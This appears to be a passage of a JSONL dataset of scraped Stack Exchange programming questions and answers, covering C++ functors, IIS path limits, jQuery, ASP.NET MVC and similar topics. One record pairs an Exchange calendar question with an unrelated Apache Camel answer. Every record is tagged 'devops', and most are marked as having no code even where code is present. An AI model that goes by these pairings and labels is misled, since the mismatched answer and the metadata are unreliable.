SomeType& t) : _t(t) {\n    }\n    bool operator()(SomeType& t) {\n      return t != _t;\n    }\n\nprivate:\n    const SomeType& _t;\n};\n\nbool AllSatisfy(std::vector<SomeType>& v) {\n    return find_if(v.begin(), \n                   v.end(), \n                   NotFindPredicate(valueToFind)) == v.end();\n}\n```\n```\nOr you could do better and write a template functor negator, like :\n```\n```\ntemplate <class Functor>\nstruct Not\n{\n    Not(Functor & f) : func(f) {}\n\n    template <typename ArgType>\n    bool operator()(ArgType & arg) { return ! func(arg); }\n\n  private:\n    Functor & func;\n};\n```\n```\nthat you could use as follow :\n```\n```\nbool AllSatisfy(std::vector<SomeType>& v, SomeType& valueToFind)\n{\n    FindPredicate f(valueToFind);\n    return find_if(v.begin(), v.end(), Not<FindPredicate>(f)) == v.end();\n}\n```\n```\nOf course, the latter solution is better because you can reuse the\nNot\nstruct with every functor you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.614055"}
{"id": "hf_c4bf55e5ae13", "question": "<p>I've found an issue with ASP.NET that I know at least has stumped one other person out there.  We were trying to use an HttpModule to handle wildcard \nrequests to a web application.  The generated url is dynamic and could \npotentially be several hundred characters long.  Unfortunately there \nappears to be a limitation in the aspnet_isapi.dll file that limits \nthe length of the path in the url to MAX_PATH which is hardcoded at \n260 chars. </p>\n\n<p>Has anyone else ran into this and found a way around this limit? \nQuery string parameters are not an option. </p>\n\n<p>Thanks, \nGreg Ballard</p>\n", "question_body": "", "answer": "The problem actually lies within Windows, not ASP.NET.  Windows has set MAX_PATH at 260 and when IIS takes a request for a longer filename, it will fail.  You've probably found is this KBase article already, but for anyone else:\nhttp://support.microsoft.com/kb/q177665/\n.  The Applies To: Section shows this is expected behavior from NT 3.51 all the way to Vista and Server 2003.\nAs for a workaround, I had a similar situation, but we would up abandoning our attempts to avoid a query string parameter and did it anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.651417"}
{"id": "hf_2416dba897f9", "question": "<p>I am doing 2^1000 and I am getting this:</p>\n\n<p>1.07151e+301</p>\n\n<p>Is there any way to actually turn this into a proper number without the e+301, or at least can anyone show me where I can see how to turn this in to a real number, by some way working with the e+301 part?</p>\n", "question_body": "", "answer": "You need to use a number class specifically designed for long numbers.\nTo represent 2^1000 as an exact number then by definition you need a number format that actually holds 1001 binary bits.  The longest normal primitive integer format is usually only 64 bits.\nBTW, the answer is:\n```\n```\n% perl -Mbigint -e 'print 2**1000'\n10715086071862673209484250490600018105614048117055336074437503883703510511249361224931983788156958581275946729175531468251871452856923140435984577574698574803934567774824230985421074605062371141877954182153046474983581941267398767559165543946077062914571196477686542167660429831652624386837205668069376\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.675437"}
{"id": "hf_e59d2ad13bd1", "question": "<p>I want to be able to launch a third party process from within an Adobe AIR application (actually a command line process). Is there a security context that AIR apps run in that prevents this?</p>\n", "question_body": "", "answer": "Two of the most requested features for Adobe AIR have been the ability to launch native executables from an AIR application, and the ability to integrate native libraries into an AIR application. Unfortunately, neither feature is included in Adobe AIR 1.0.\nHowever. Check out:\nThis blog post\nAiraveer\nShu-player\nShu enables you to increase the power and reach of Adobe AIR. With Shu your AIR applications can quickly be converted into standalone applications to run on PC or Mac machines without the AIR runtime installed! Shu applications can also be run from a CD or network share and do not require installation.\n  In addition Shu provides you the developer with a toolkit of commands to extend the system capabilities of your AIR application, features include,\ncontrolling external applications, opening external files, database connectivity and control, system path retrieval and screen capture functionality.\nUsing any of these methods will however break some of the intentions with AIR, which is cross-platform development. And as far as i know that's the main reason why Adobe won't let you execute native code at the moment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.705836"}
{"id": "hf_a8aaba5cce87", "question": "<p>I have an ASP.Net MVC Ajax.BeginForm that submits and updates my page properly when I click the submit button.  </p>\n\n<p>The problem is I need additional events to do the same thing, like when they change the text of an input.  The additonal events do properly submit the form but they circumvent the onsubmit javascript generated on the form tag by the Ajax.BeginForm.</p>\n\n<p>Here is the form tag generated by Ajax.BeingForm:</p>\n\n<pre><code>&lt;form action=\"/Store/UpdateCart\" method=\"post\" onsubmit=\"Sys.Mvc.AsyncForm.handleSubmit(this, new Sys.UI.DomEvent(event), { insertionMode: Sys.Mvc.InsertionMode.replace, updateTargetId: 'updatedContent' });\"&gt; \n</code></pre>\n\n<p>And here is the jQuery to bind my other events that need to submit the form via Ajax:</p>\n\n<pre><code> $(\"#ShippingType, #ViewCart .ddl\").bind(\"change\", function() { $(\"#ViewCartPage form\").submit() });\n</code></pre>\n\n<p>Any ideas on how to get these additional events to trigger onsubmit like I need it too?</p>\n", "question_body": "", "answer": "This is a bit of a tricky issue in the current Beta of MVC.  You can't use the \"submit()\" function because it won't trigger the onsubmit handler.  Instead, you should call the onsubmit handler directly.  The only trick is you need to pass an argument to onsubmit() when you call it.  This argument is what becomes the \"event\" parameter in the handler (see the \"new Sys.UI.DomEvent(event)\" part).  The \"event\" parameter is used by the MVC Ajax scripts to cancel the default behaviour, when you click the Submit button so that the Ajax stuff can happen uninterrupted.\nSo, if you change your code to this:\n```\n```\n$(\"#ShippingType, #ViewCart .ddl\").bind(\"change\", function() { $(\"#ViewCartPage form\").onsubmit({ preventDefault: function() {} }) });\n```\n```\nThe onsubmit() event will be triggered when the form fields change.  The code creates a \"fake\" event object that implements the preventDefault() method (which is the only one the MVC Ajax helpers use) so you don't get errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.743282"}
{"id": "hf_8e9c50ff9891", "question": "<p>I was looking into the best encryption for a license key for an application, and someone said that someone can easily decompile the application and then just skip the test for the license key.</p>\n\n<p>how would someone go about doing that practically speaking?  So they have my .dll, they have to decompile it somehow, then comment out the function call to check the license, then recompile it?  The decompiler has to be really good such that the code still compiles!</p>\n", "question_body": "", "answer": "Try opening your application with\nReflector\n. You will probably be surprised :-)\nAnd once a cracker has located the right location in your code, they can use a combination of\nildasm\n/\nilasm\nto remove the check from your application - even if the code Reflector generates won't compile.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.771651"}
{"id": "hf_0bc9ed98534c", "question": "<p>I want to implement Scrum, but I can't decide on a Sprint length. Ken Schwaber seems to relate that 30 days it the defacto... but I can't imagine waiting 30 days without the possibility of changing direction or reprioritizing. </p>\n\n<p>Our projects usually only last 1-3 months using the waterfall method and moving to Scrum would probably mean less opportunity to fine tune.</p>\n\n<p>I was thinking about 1 week sprints, but this seems like Scrum Micro Management.</p>\n\n<p>Having 2 week sprints would probably be ideal, but I want to know if others out there were able to implement this successfully. What are the downsides? Is it more work/less work/same about of work to manage a team with shorter sprints?</p>\n\n<p>BTW... 3 week sprints seem odd to me, who does a 3 week sprint? Why not just make it 4 weeks. ;)</p>\n", "question_body": "", "answer": "2 weeks (10 standard working days, if you are a M-F outfit or 12 if you are a M-S outfit) is half a month (a month typically has roughly 20 working days in it, give or take). Also, week is more vague than day but less vague than month, so it makes the unit of measurement in weeks better for more agile (more give/take) development projects.\nHowever, the last time I did anything like scrum, it was on a school project and it wasn't truly scrum. So it was 7 day weeks in a 10 week quarter. I really liked the 2 week block for that situation. I felt that I could get a lot done but we could adjust timelines and plans frequently.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.854942"}
{"id": "hf_5465fd22d51a", "question": "<p>My table has the following schema:</p>\n\n<p>id, parent_id, text</p>\n\n<p>Given the following data I would like to return an xml hierarchy:</p>\n\n<p>Data: (1,null,'x'), (2,1,'y'), (3,1,'z'), (4,2,'a')</p>\n\n<p>XML:<br>\n[row text=\"x\"]<br>\n [row text=\"y\"]<br>\n  [row text=\"a\"/]<br>\n [/row]<br>\n [row text=\"z\"/]<br>\n[/row]  </p>\n\n<hr>\n\n<p>Added: the hierachy has no maximum depth</p>\n", "question_body": "", "answer": "This requires a \"transitive closure\".  You need to process the data recursively to find all children under a given parent.\nRoughly the algorithm looks like this.\n```\n```\nfor top in cursor( nodes where  each parent==null ):\n    build_tree( top )\n\ndef build_tree( parent ):\n    emit opening tag\n    for child in cursor( nodes where parent == parent ):\n        build_tree( child )\n    emit closing tag\n```\n```\nNote that some SQL interpreters may have trouble with the recursion -- they may not open a fresh, new cursor as necessary.  Each cursor, however, must be distinct, since you will have as many open cursors as your tree has levels.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.878361"}
{"id": "hf_4c3d000b213c", "question": "<p>I'm using System.Windows.SplashScreen to add a splash screen to my WinForms app (it has a lot of WPF controls, but the 'main window' is still a System.Windows.Forms.Form object). When the splash screen closes the whole app goes as well.</p>\n\n<p>Can I stop it taking the whole app with it?</p>\n", "question_body": "", "answer": "I was a bit too quick with that question - it looks like the problem here was down to how I was starting to app. If you do:\n```\n```\nform.ShowDialog();\n```\n```\nThen the form's parent gets set to the splash screen, so when that closes it also closes the child window (in this case 'form'), but if you use:\n```\n```\nSystem.Windows.Forms.Application.Run(form)\n```\n```\nto start the app, then 'form' is not a child of the splash screen so doesn't close with the splash screen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.928595"}
{"id": "hf_4d68815f0d17", "question": "<p>Is there any way to create - manipulate calendar events in Exchange Server 2003 ?\nI'm using VB.NET 2005. I don't want to use MAPI because everytime I will have to type user name and passwords. Is there any other way ? I used redemption.dll but everytime I want to add for eg. a calendar event it displays the login screen.</p>\n\n<p>Any suggestions ?</p>\n\n<p>Appreciate your help</p>\n\n<p>Thank you</p>\n", "question_body": "", "answer": "I'm a bit confused by your configuration file. What exactly are you trying to do?\nYou've defined 2 endpoints for using MINA (which won't use ActiveMQ at all); then you are using a route from an ActievMQ queue listener_A to listener_B then listener_B to listener_A (which is a recursive loop).\nMaybe if you start describing what you want to do we can figure out what the XML should look  like.\nIncidentally if you just want to refer to endpoints you've defined, use the\nref=\"name\"\nattribute rather than\nuri=\"...\"\n.\ne.g.\n```\n```\n<route>\n  <from ref=\"listener_A\"/>\n  <to ref=\"listener_B\"/>\n</route>\n```\n```\nAll that being said - you tend to get better & faster support on Camel via the\nCamel User Forum", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.965945"}
{"id": "hf_aea28fc427c2", "question": "<p>Am I allowed to redistribute only parts of the DirectX package? (e.g. only the DirectDraw DLLs, without Show/3D/etc.)</p>\n", "question_body": "", "answer": "No. From the DirectX SDK Redist EULA:\nDirectX Software Development Kit Redistributable Code\nRedistributable Code is identified as\n  all of the files in the following \n  \"Redist\" directory on the DirectX SDK\n  CD/Download:\nredist/\nThe following files in the above\n  directory must be included in any\n  distribution of  the DirectX Runtime.\nDSetup32.dll \n  DSetup.dll \n  DXSetup.exe\n  DXupdate.cab\n  dxdllreg_x86.cab", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.039273"}
{"id": "hf_fbf064f785ff", "question": "<p>I have long been wondering why lazy evaluation is useful. I have yet to have anyone explain to me in a way that makes sense; mostly it ends up boiling down to \"trust me\".</p>\n\n<p>Note: I do not mean memoization. </p>\n", "question_body": "", "answer": "Consider this:\n```\n```\nif (conditionOne && conditionTwo) {\n  doSomething();\n}\n```\n```\nThe method doSomething() will be executed only if conditionOne is true\nand\nconditionTwo is true.\nIn the case where conditionOne is false, why do you need to compute the result of the conditionTwo? The evaluation of conditionTwo will be a waste of time in this case, especially if your condition is the result of some method process.\nThat's one example of the lazy evaluation interest...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.075704"}
{"id": "hf_a5623f81672c", "question": "<p>An XML attribute declared as xs:boolean can acceptable be \"true\", \"false\", \"0\" or \"1\".  However, in .NET, Boolean.Parse() will only accept \"true\" or \"false\". If it sees a \"0\" or \"1\", it throws a \"Bad Format\" exception.</p>\n\n<p>So, given that, what's the best way to parse such a value into a Boolean?</p>\n\n<p>(Unfortunately, I'm limited to .NET 2.0 solutions, but if v3.5 offers something, I'd love to hear about it.)</p>\n", "question_body": "", "answer": "Using\n```\nCBool\n```\ninstead of\n```\nBoolean.Parse\n```\nshould do the trick: although you'll have to embed it in a\n```\ntry/catch\n```\nblock (which wouldn't be required when using\n```\nBoolean.TryParse\n```\n), it will successfully convert most 'sensible' boolean values, including true/false and 0/1.\nEdit: as pointed out in a comment, this answer is kinda useless for C# programmers, as\n```\nCBool\n```\nis a VB-ism. It maps to\n```\nMicrosoft.VisualBasic.CompilerServices.Conversions::ToBoolean\n```\n, which is not suitable for general consumption. Which makes the XMLConvert class pointed out in the accepted answer an even better alternative.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.165694"}
{"id": "hf_11b1491b59c5", "question": "<p>Is there any BNF grammar for regular expression?</p>\n", "question_body": "", "answer": "You can see one for\nPerl regexp\n(displayed\na little more in detail here\n, as posted by\nedg\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.203044"}
{"id": "hf_96301b4a7e07", "question": "<p>I can't seem to find any GUI framework's for as3 that are as good as any the applications I already see out on the web; Is this something most people code themselves or am I missing something in flash itself?</p>\n\n<p>I'm looking for dialogs/windows, buttons, text boxes, combos, drop downs, menus, etc etc and the ability to extend the components to make new ones.</p>\n\n<p>I'd also prefer it to be as3 but any others will do also.</p>\n\n<p>May need to elaborate a little.. I'm actually looking for a framework to allow me to create my own GUIs in flash, custom skins, colors, styles, etc.</p>\n", "question_body": "", "answer": "Short answer:\nHere is the\nlist of base controls\n.\nLong answer:\nYes, there are many controls (such as\nbuttons\n,\ntext boxes\n,\ncombo boxes\n, etc) already built into Flash / Flex.\nHere is\none tutorial\nI've found helpful that gives a brief intro to using some components (buttons) without using Flex Builder.\nIf you use something like Flex Builder, you will get full access to these objects in a friendly drag-and-drop environment, however, it is not necessary to purchase Adobe tools to develop with these, so long as you're comfortable using something like FlashDevelop or the free command-line mxmlc compiler.\nCheck out the\nfl.controls namespace\nin Adobe Live Docs for a complete list of these base controls included in Flash / Flex.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.228440"}
{"id": "hf_c4702b3d6ac4", "question": "<p>I have some HTML and jQuery that slides a <code>div</code> up and down to show or hide` it when a link is clicked:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code>&lt;ul class=\"product-info\"&gt;\n  &lt;li&gt;\n    &lt;a href=\"#\"&gt;YOU CLICK THIS TO SHOW/HIDE&lt;/a&gt;\n    &lt;div class=\"toggle\"&gt;\n      &lt;p&gt;CONTENT TO SHOW/HIDE&lt;/p&gt;\n    &lt;/div&gt;\n  &lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<pre class=\"lang-js prettyprint-override\"><code>$('div.toggle').hide();\n$('ul.product-info li a').click(function(event){\n  $(this).next('div').slideToggle(200);\n}\n</code></pre>\n\n<p>My question is: How do I use <code>preventDefault()</code> to stop the link acting as a link and adding \"#\" to the end of my URL &amp; jumping to the top of the page?</p>\n\n<p>I can't figure out the right syntax, I just keep getting an error saying </p>\n\n<blockquote>\n  <p>preventDefault() is not a function.</p>\n</blockquote>\n", "question_body": "", "answer": "Try something like:\n```\n```\n$('div.toggle').hide();\n$('ul.product-info li a').click(function(event) {\n    event.preventDefault();\n    $(this).next('div').slideToggle(200);\n});\n```\n```\nHere is the page about that in the\njQuery documentation", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.254191"}
{"id": "hf_4af0b04332ed", "question": "<p>how do you go about saving images and displaying them from a SQL Server Image field when using ASP.NET MVC?</p>\n\n<p>Many thanks\nNick</p>\n", "question_body": "", "answer": "The MvcFutures\nhttp://www.codeplex.com/aspnet/Release/ProjectReleases.aspx?ReleaseId=18459\nproject has a FileResult which is a type of ActionResult. You could probably use that to return a binary stream to the browser.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.315703"}
{"id": "hf_eca659ca0a05", "question": "<p>I need a dropdown list on my page that will allow a user to select their state.  Since this is probably a control that will be used elsewhere, I thought it would be a good idea to create an MVC View User Control that could be reused.</p>\n\n<p>I was thinking the control would look something like this:</p>\n\n<pre><code>&lt;select name=\"\" id=\"\"&gt;\n   &lt;option value=\"AL\"&gt;Alabama&lt;/option&gt;\n   &lt;option value=\"AK\"&gt;Alaska&lt;/option&gt;\n&lt;/select&gt;\n</code></pre>\n\n<p>And the code in my view would be something like:</p>\n\n<pre><code>&lt;%= Html.RenderPartial(\"StateDropdownControl\") %&gt;\n</code></pre>\n\n<p>My question is, what's the best way to set the name and id on the control?  I'd want to make sure I could have multiple instances of this control on one page, if needed.  Also, I'd want to be able to send in the state that should be selected by default.</p>\n\n<p>Would I do it with ViewData somehow?</p>\n", "question_body": "", "answer": "Well you can pass object data to the RenderPartial method in conjunction to the User Control to render, so you could easily do the following:\n```\n```\n```\n```\n<%= Html.RenderPartial(\"/someDirectory/SomeControl.ascx\", \"MyID\") %>\n```\n```\nand in the UserControl do the following:\n```\n```\n<select name=\"<%=ViewData.Model%>\" id=\"<%=ViewData.Model%>\">\n\n....\n```\n```\nJust to be sure, a better way to handle it is to make a simple DTO (data transfer object) to hold that information so you can pass more information to your user control, that you will inevitably need.\nExample:\n```\n```\nclass ComboData \n{\n   string ID {get;set;}\n   string CssClass {get;set;}\n   //Other stuff here\n}\n```\n```\n```\n```\n<%\nvar comboData = new ComboData {ID = \"myID\", CssClass = \"comboStyle\" }\n\n%>\n\n<%= Html.RenderPartial(\"/someDirectory/SomeControl.ascx\", comboData) %>\n```\n```\n```\n<select name=\"<%=ViewData.Model.ID%>\" id=\"<%=ViewData.Model.ID%>\" class=\"<%=ViewData.Model.CssClass%>\">\n\n....\n```\nMake sure you set the Code behind for the user control to be a generic of type ComboData for this example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.338693"}
{"id": "hf_db35dd739661", "question": "<p>Just wondering what people think is the best practice when implementing an IValueConverter which does not have a meaningfull ConvertBack implementation (or one that is only to be used as OneWay)?</p>\n\n<p>Should it throw (and in that case what exception), return null or return some default value. </p>\n\n<p>Thoughts?</p>\n", "question_body": "", "answer": "The documentation for\n```\nIValueConverter.ConvertBack\n```\nrecommends returning\n```\nDependencyProperty.UnsetValue\n```\n.\nThe data binding engine does not catch\n  exceptions that are thrown by a\n  user-supplied converter. Any exception\n  that is thrown by the ConvertBack\n  method, or any uncaught exceptions\n  that are thrown by methods that the\n  ConvertBack method calls, are treated\n  as run-time errors. Handle anticipated\n  problems by returning\n  DependencyProperty.UnsetValue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.362737"}
{"id": "hf_7a82d9ab4980", "question": "<p>Are hints really necessary for every sql statement? We have a dba who is anal about it and asks us to put hints on every select and update statements in our stored procs. Is this really necessary?</p>\n", "question_body": "", "answer": "Not usually.  Putting them on everything sounds like overkill.\nThe\ndocumentation\nsays\nBecause the SQL Server query optimizer typically selects the best execution plan for a query, we recommend that join_hint, query_hint, and table_hint be used only as a last resort by experienced developers and database administrators", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.386750"}
{"id": "hf_f033ef1e3df2", "question": "<p>We have a few applications that use the same Linq 2 SQL DataContext.  One of those Apps wil do massive inserts (it's a convertor from an old system).  Is it possible to change the UpdateCheck of the TimeStamp column of each table at runtime ?  Only for this one app we'd like to set it to Never, all the other apps should have Always.</p>\n", "question_body": "", "answer": "AFAIK you can not change it (at least with simple means) at runtime, because it is auto-generated as attribute in the properties of the domain classes. E.g.\n```\n```\n[Column(Name=\"ITM_CREATE_DATE\", Storage=\"_ITM_CREATE_DATE\", DbType=\"DateTime NOT NULL\", UpdateCheck=UpdateCheck.Never)]\npublic System.DateTime CreationDate\n```\n```\nA possible workaround (that I have never tried, so I don't know if it works) is to copy the\n```\n<DataContext>.designer.cs\n```\ncode in your single project, make the changes in the copy and use it without the designer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.423872"}
{"id": "hf_1e6a8c417031", "question": "<p>Not wanting to re-invent the wheel or anything, I was wondering if there's a plugin out there a field or form validation plugin that works with Prototype that you can recommend from your own experience and why?</p>\n", "question_body": "", "answer": "I like Ben Keen's Really Simple Validation component.\nFeatures I like:\nAll the validation rules can be kept within javascript so you're not adding class=\"required\" to your HTML code.\nYou can display error messages in a javascript alert box or with HTML text.\nAdding your own extensions is easy.\nhttp://www.benjaminkeen.com/software/rsv/\nNote that I've only used the jQuery version, but a Prototype version is also available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.486943"}
{"id": "hf_006ab40d7502", "question": "<p>I'm using Windows CE Platform Builder and my code is written in C++ . For each of the folders in the project I'm creating a lib ( the code is statically linked ) . However , there are about 20 libs so far . Is there a way to reduce their number ? I was thinking of creating a lib from other libs , but I don't know if that's even possible . Is it ?</p>\n\n<p><strong>EDIT:</strong> how could I do it ?</p>\n", "question_body": "", "answer": "I haven't tried it in a while, but traditionally you could use the librarian tool (LIB.EXE) to do this sort of thing.\n```\n$ lib /?\nMicrosoft (R) Library Manager Version 8.00.50727.762\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\nusage: LIB [options] [files]\n\n   options:\n\n      /DEF[:filename]\n      /ERRORREPORT:{NONE|PROMPT|QUEUE|SEND}\n      /EXPORT:symbol\n      /EXTRACT:membername\n      /INCLUDE:symbol\n      /LIBPATH:dir\n      /LIST[:filename]\n      /LTCG\n      /MACHINE:{ARM|EBC|IA64|MIPS|MIPS16|MIPSFPU|MIPSFPU16|\n                SH4|THUMB|X64|X86}\n      /NAME:filename\n      /NODEFAULTLIB[:library]\n      /NOLOGO\n      /OUT:filename\n      /REMOVE:membername\n      /SUBSYSTEM:{BOOT_APPLICATION|CONSOLE|EFI_APPLICATION|\n                  EFI_BOOT_SERVICE_DRIVER|EFI_ROM|EFI_RUNTIME_DRIVER|\n                  NATIVE|POSIX|WINDOWS|WINDOWSCE}[,#[.##]]\n      /VERBOSE\n      /WX[:NO]\n```\nNormally the librarian takes .OBJ files and combines them into a .LIB, but I think it will also read .LIB files as input.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.549912"}
{"id": "hf_7bd9ed8eb820", "question": "<p>For example:</p>\n\n<pre><code>public class A : A.B\n{\n    public class B { }\n}\n</code></pre>\n\n<p>Which generates this error from the compiler:</p>\n\n<blockquote>\n  <p>Circular base class dependency\n  involving 'A' and 'A.B'</p>\n</blockquote>\n\n<p>I always figured a nested class behaved just like a regular class except with special rules concerning accessing the outer class's private members, but I guess there's some implicit inheritance occurring between the two classes?</p>\n", "question_body": "", "answer": "There's no implicit inheritance involved as far as I can tell. I would have expected this to be okay - although I can imagine weirdness if A and B were generic.\nIt's specified in section 10.1.4 of the spec:\nWhen a class B derives from a class A,\n  it is a compile-time error for A to\n  depend on B. A class directly depends\n  on its direct base class (if any) and\ndirectly depends on the class within\n  which it is immediately nested\n(if\n  any). Given this definition, the\n  complete set of classes upon which a\n  class depends is the transitive\n  closure of the directly depends on\n  relationship.\nI've highlighted the relevant section.\nThat explains why the compiler is rejecting it, but not why the language prohibits it. I wonder if there's a CLI restriction...\nEDIT: Okay, I've had a response from Eric Lippert. Basically, it would be technically possible (there's nothing in the CLI to prohibit it), but:\nAllowing it would be difficult in the compiler, invalidating various current assumptions around ordering and cycles\nIt's a pretty odd design decision which is easier to prohibit than to support\nIt was also noted on the email thread that it would make this kind of thing valid:\n```\n```\nA.B x = new A.B.B.B.B.B.B.B.B.B.B.B.B();\n```\n```\n... but that would already (as noted by Tinister) be valid if B derived from A.\nNesting + inheritance = oddness...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.586424"}
{"id": "hf_50be5f089036", "question": "<p>I have a stored procedure that creates and opens some cursors.  It closes them at the end, but if it hits an error those cursors are left open!  Then subsequent runs fail when it tries to create cursors since a cursor with the name already exists.</p>\n\n<p>Is there a way I can query which cursors exists and if they are open or not so I can close and deallocate them?  I feel like this is better than blindly trying to close and swallow errors.</p>\n", "question_body": "", "answer": "Look here\nfor info on how to find cursors. I have never used any of them because I could figure out a way to get it done without going Row By Agonizing Row.\nYou should rebuild the sp to either\nnot use cursors ( we can help -\nthere is almost always a way to\navoid RBAR)\nbuild it in a transaction and roll it back if there is a failure or if you detect an error. Here are some excellent articles on this.\npart 1\nand\npart 2\nIf you have SQL2005, you can also use\ntry catch\nEDIT (in response to your post):Ideally, data generation is best handled at the application level as they are better suited for non set based operations.\nRed Gate has a\nSQL Data generator\nthat I have used before (its great for single tables, but takes some configuring if you have lots of FK or a wide [normalized] database).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.670051"}
{"id": "hf_5a94e808edc3", "question": "<p>How can I add new application mapping in IIS using vbscript?</p>\n\n<p>Thanks,</p>\n", "question_body": "", "answer": "Use a combination of ADSI with VBScript. There are several examples here:\nhttp://www.microsoft.com/technet/prodtechnol/WindowsServer2003/library/IIS/4b976f46-3751-4f6b-ab68-5e19fa73a7b1.mspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:19.693037"}
